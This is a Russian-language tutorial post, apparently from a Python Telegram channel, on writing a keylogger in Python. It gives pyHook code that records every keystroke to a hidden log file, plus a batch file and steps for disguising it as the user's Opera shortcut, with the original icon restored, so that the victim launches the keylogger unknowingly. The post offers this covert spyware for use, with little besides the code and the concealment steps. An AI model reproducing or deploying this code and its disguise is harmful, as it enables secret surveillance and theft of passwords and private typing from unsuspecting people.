Как написать Keylogger на Python.

Как написать Keylogger на Python.

pyrhonguru

Привет, любитель Python!

В сегодняшней статье: Как написать Keylogger на Python.

Что такое Keylogger?

Кейлоггеры также известны как регистраторы нажатий клавиш. Они запускаются сразу после старта операционной системы. Кейлоггер записывает каждое нажатие любой клавиши или только те, которые будут сделаны в определенных полях на сайтах.

Keylogger может встраиваться в операционную систему компьютера. Этот тип вредоносных программ называют руткитами. Существуют кейлоггеры, которые могут работать и на более низком уровне. Например, он может добавиться в браузер как скрытое расширение.

Существует множество сценариев работы кейлоггеров. Особенно сложно противодействовать руткит. Антивирусные программы обычно не могут добраться до этого уровня, и поэтому подобные клавиатурные шпионы продолжают работать без каких-либо помех.

Что потребуется для создания Кейлоггера?

  1. Python
  2. Установленные модули «pyWin32» и «PYhook» (PYhook на Windows) в соответствии с вашей версией Python.

Создание Кейлогерра

Создайте файл Keylogger.pyw . И пропишите в него код:

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Users\keyloggerlog.txt'

def OnKeyboardEvent(event):

logging.basicConfig(filename=file_log, level=logging.DEBUG, format='% (message)s')

chr(event.Ascii)

logging.log(10,chr(event.Ascii))

return True

hooks_manager = pyHook.HookManager()

hooks_manager.KeyDown = OnKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()


В file_log нужно вписывать любое скрытое место на жёстком диске (В моём случае просто папка Users)

Скрытый запуск Кейлоггера

Чтобы кейлоггер автоматически скрыто запускался с загрузкой Windows нужно создать bat-файл:

1) Создаём bat-файл и вписываем в него код:

@Echo off

start "" "C:\Keylogger.pyw"

start "" "C:\Program Files\Operalauncher.exe"

В первой строке start нужно указать путь к файлу Keylogger.pyw

Во второй указываем путь к программе, которую обычно использует пользователь ().

2) Сохраняем файл в расширении .bat и прячем в какой-нибуть скрытой папке

3) Заходим на рабочий стол и нажимаем правой кнопкой мыши по часто используемой программе(в данном случае это Opera). Нажимаем свойства, в поле объект вводим путь к bat-файлу кейлоггера (например C:\\Users\keylogger.bat)

После этих действий сменится значок, его можно изменить нажав на "Сменить значок" в свойствах. Нажмите на обзор перейдя в папку куда установлена эта программа, выберите exe-шник программы которую вы заменили(в данном случае это Opera)

После открытия кейлогерра нажатия на клавиатуре буду сохранятся в файл keyloggerlog.txt

Для его остановки зайдите в диспетчер задач и закройте его процесс.


Теперь вы знаете, как создать простейший Keylogger на Python.

Совершенствуй знания по Python каждый день у нас на канале, PythonGuru.

Вопросы, реклама - @pythonguru_admin


Report Page